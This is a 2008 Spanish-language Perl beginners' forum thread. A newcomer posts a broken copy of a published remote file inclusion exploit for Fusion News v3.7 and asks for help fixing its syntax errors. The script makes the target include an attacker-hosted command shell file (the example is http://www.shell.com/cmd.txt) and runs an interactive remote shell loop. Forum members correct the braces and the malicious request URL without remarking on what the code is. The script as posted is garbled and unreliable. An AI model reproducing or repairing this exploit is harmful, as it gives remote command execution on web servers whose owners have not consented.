• Publicidad

Ayuda con un script

¿Apenas comienzas con Perl? En este foro podrás encontrar y hacer preguntas básicas de Perl con respuestas aptas a tu nivel.

Ayuda con un script

Notapor Ezequiel » 2008-07-31 15:43 @697

Saludos. Es la primera vez que intento programar en Perl. He programado en muchos idiomas, pero no en Perl. Pongo aquí mi script a ver si me lo solucionáis o me ayudáis a solucionarlo. Muchas gracias a todos.

Sintáxis: [ Descargar ] [ Ocultar ]
Using perl Syntax Highlighting
#!/usr/bin/perl

        ###########################################################################################
        #                       Aria-Security.net Advisory                                              #                                                                                                            
        #                       Discovered  by: OUTLAW                                                          #                                                                                                      
        #                       < www.Aria-security.net >                                               #                                                                                                            
        #               Gr33t to: A.u.r.a  &amp; HessamX &amp; Cl0wn &amp; DrtRp                                #                                                                                                
        #                 Special Thanx To All Aria-Security Users                                              #                                                                                        
        ###########################################################################################

use LWP::UserAgent;
print "\n === Fusion News v3.7 Remote File Inclusion\n";
print "\n === Discovered by OutLaw .\n";
print "\n  === www.Aria-Security.Net\n";

$bPath = $ARGV[0];
$cmdo = $ARGV[1];
$bcmd = $ARGV[2];

if($bPath!~/http:\/\// || $cmdo!~/http:\/\// || !$bcmd){usage()}
while()
       print "[Shell] \$";
while(<STDIN>)
       {
               $cmd=$_;
               chomp($cmd);

$xpl = LWP::UserAgent->new() or die;
$req = HTTP::Request->new(GET =>$bpath.'index.php?fpath=';.$cmdo.';?&amp;';.$bcmd.';=';.$cmd)or die "
\n Could not connect !\n"
;
$res = $xpl->request($req);
$return = $res->content;
$return =~ tr/[\n]/[ê;
if (!$cmd) {print "\nPlease type a Command\n\n"; $return ="";}
elsif ($return =~/failed to open stream: HTTP request failed!/)
       {print "\n Could Not Connect to cmd Host\n";exit}
elsif ($return =~/^<b>Fatal.error/) {print "\n Invalid Command\n"}
if($return =~ /(.*)/)
       $freturn = $1;
       $freturn=~ tr/[ê[\n]/;
       print "\r\n$freturn\n\r";
       last;
else {print "[Shell] \$";}}}last;
sub usage()
 {
print " Usage : fusion.pl [host] [cmd shell location] [cmd shell variable]\n";
print " Example : fusion.pl http://fusionnews.com http://www.shell.com/cmd.txt cmd\n";
 exit();
 }
 
Coloreado en 0.003 segundos, usando GeSHi 1.0.8.4


Es un pelín larga, así que si me ayudan se lo agradeceré todo lo que pueda. Lo compilo con ActivePerl pero me da errores a montones. Cualquier duda pregúntenme.
Última edición por Ezequiel el 2008-07-31 16:35 @732, editado 3 veces en total
Ezequiel
Perlero nuevo
Perlero nuevo
 
Mensajes: 8
Registrado: 2008-07-31 15:26 @685

Publicidad

Notapor explorer » 2008-07-31 15:50 @701

Bienvenido a los foros de Perl en Español, Ezequiel.

* Debes cambiar todos los '&quot;' por '"'
* Debes cambiar todos los '&gt;' por '>'
* Debes cambiar todos los '&lt;' por '<'
* etc., etc.

Has copiado mal el script, desde el origen.

Arréglalo y vuelve a editar el mensaje y seguimos viendo los fallos que dé.
JF^D Perl programming & Raku programming. Grupo en Telegram: https://t.me/Perl_ES
Avatar de Usuario
explorer
Administrador
Administrador
 
Mensajes: 14480
Registrado: 2005-07-24 18:12 @800
Ubicación: Valladolid, España

Notapor Ezequiel » 2008-07-31 16:29 @728

Creo que ya está (He editado el mensaje). Creo que hay más carácteres que cambiar.
Ezequiel
Perlero nuevo
Perlero nuevo
 
Mensajes: 8
Registrado: 2008-07-31 15:26 @685

Notapor Ezequiel » 2008-07-31 16:51 @744

syntax error at exploit.pl line 22, near ")
print"
syntax error at exploit.pl line 29, near "'index.php?fpath=';"
Execution of exploit.pl aborted due to compilation errors.

Para arreglaros un poco la vida:

Línea 22:
Sintáxis: [ Descargar ] [ Ocultar ]
Using perl Syntax Highlighting
while()
       print "[Shell] \$";  #<----------------
while(<STDIN>)
Coloreado en 0.001 segundos, usando GeSHi 1.0.8.4

Línea 29:
Sintáxis: [ Descargar ] [ Ocultar ]
Using perl Syntax Highlighting
$xpl = LWP::UserAgent->new() or die;
$req = HTTP::Request->new(GET =>$bpath.'index.php?fpath=';.$cmdo.';?&amp;';.$bcmd.';=';.$cmd)or die " #<--------------------
\n Could not connect !\n"
;
Coloreado en 0.001 segundos, usando GeSHi 1.0.8.4



[/syntax]
Ezequiel
Perlero nuevo
Perlero nuevo
 
Mensajes: 8
Registrado: 2008-07-31 15:26 @685

Notapor explorer » 2008-07-31 17:07 @755

Falta un '{' después de los while().

Lo de la línea 29 es algo más complicado. Yo creo que es

Sintáxis: [ Descargar ] [ Ocultar ]
Using perl Syntax Highlighting
$req = HTTP::Request->new(
        GET => $bpath . 'index.php?fpath=' . $cmdo . '?&' . $bcmd . '=' . $cmd
)
or die "\n Could not connect !\n";
Coloreado en 0.001 segundos, usando GeSHi 1.0.8.4
JF^D Perl programming & Raku programming. Grupo en Telegram: https://t.me/Perl_ES
Avatar de Usuario
explorer
Administrador
Administrador
 
Mensajes: 14480
Registrado: 2005-07-24 18:12 @800
Ubicación: Valladolid, España

Notapor kidd » 2008-07-31 17:37 @776

explorer escribiste:Yo creo que es

Sintáxis: [ Descargar ] [ Ocultar ]
Using perl Syntax Highlighting
$req = HTTP::Request->new(
        GET => $bpath . 'index.php?fpath=' . $cmdo . '?&' . $bcmd . '=' . $cmd
)
or die "\n Could not connect !\n";
Coloreado en 0.001 segundos, usando GeSHi 1.0.8.4


Incluso me parece que también habría que quitar el "?&" o escapar el "?".
Uriel Lizama Perl programmer fundador de Perl en Español
Perl Programming Language
Avatar de Usuario
kidd
Creador de Perl en Español
Creador de Perl en Español
 
Mensajes: 1166
Registrado: 2003-10-15 16:52 @744
Ubicación: México

Notapor explorer » 2008-07-31 17:53 @787

El '?' separa el cgi del resto de parámetros. Y el '&' separa argumentos. Así que un '?&' indica que no hemos puesto un primer argumento y que empezamos con un separador.

Sobraría el '&', sin duda.
JF^D Perl programming & Raku programming. Grupo en Telegram: https://t.me/Perl_ES
Avatar de Usuario
explorer
Administrador
Administrador
 
Mensajes: 14480
Registrado: 2005-07-24 18:12 @800
Ubicación: Valladolid, España

Notapor kidd » 2008-07-31 19:36 @858

De hecho como está ahorita, sobra el '?'. Pues hay un primero en "index.php?fpath=" y luego otro en '?&'.

Me parece que la url debería estar así:

Sintáxis: [ Descargar ] [ Ocultar ]
Using perl Syntax Highlighting
$bpath . 'index.php?fpath=' . $cmdo . '&' . $bcmd . '=' . $cmd
Coloreado en 0.001 segundos, usando GeSHi 1.0.8.4
Uriel Lizama Perl programmer fundador de Perl en Español
Perl Programming Language
Avatar de Usuario
kidd
Creador de Perl en Español
Creador de Perl en Español
 
Mensajes: 1166
Registrado: 2003-10-15 16:52 @744
Ubicación: México

Notapor explorer » 2008-07-31 19:41 @861

Pues tienes razón. El que se ha colado soy yo.
JF^D Perl programming & Raku programming. Grupo en Telegram: https://t.me/Perl_ES
Avatar de Usuario
explorer
Administrador
Administrador
 
Mensajes: 14480
Registrado: 2005-07-24 18:12 @800
Ubicación: Valladolid, España

Notapor Ezequiel » 2008-08-01 06:18 @304

Vale, kidd tuvo razón. Supongo que { es como begin en otros idiomas. Y que lo de la línea 29 es un string. Pasando al grano, hay más errores, después de arreglar el de la 29.

Código: Seleccionar todo
Bareword found where operator expected at exploit.pl line 35, near "elsif ($rern =~/failed"
  (Might be a runaway multi-line // string starting on line 33)
        (Do you need to predeclare elsif?)
Precedence problem: open stream should be open(stream) at exploit.pl line 35.
Bareword found where operator expected at exploit.pl line 37, near "<b>Fatal"
  (Might be a runaway multi-line // string starting on line 35)
        (Missing operator before Fatal?)
Scalar found where operator expected at exploit.pl line 39, near ")
       $freturn"
        (Missing operator before $freturn?)
Bareword found where operator expected at exploit.pl line 47, near "//www"
        (Missing operator before www?)
String found where operator expected at exploit.pl line 47, at end of line
        (Missing semicolon on previous line?)
syntax error at exploit.pl line 35, near "elsif ($return =~/failed to "
syntax error at exploit.pl line 39, near ")
       $freturn "
syntax error at exploit.pl line 47, near "com http:"
  (Might be a runaway multi-line // string starting on line 40)
Can't find string terminator '"' anywhere before EOF at exploit.pl line 47.
Ezequiel
Perlero nuevo
Perlero nuevo
 
Mensajes: 8
Registrado: 2008-07-31 15:26 @685

Siguiente

Volver a Básico

¿Quién está conectado?

Usuarios navegando por este Foro: No hay usuarios registrados visitando el Foro y 25 invitados

cron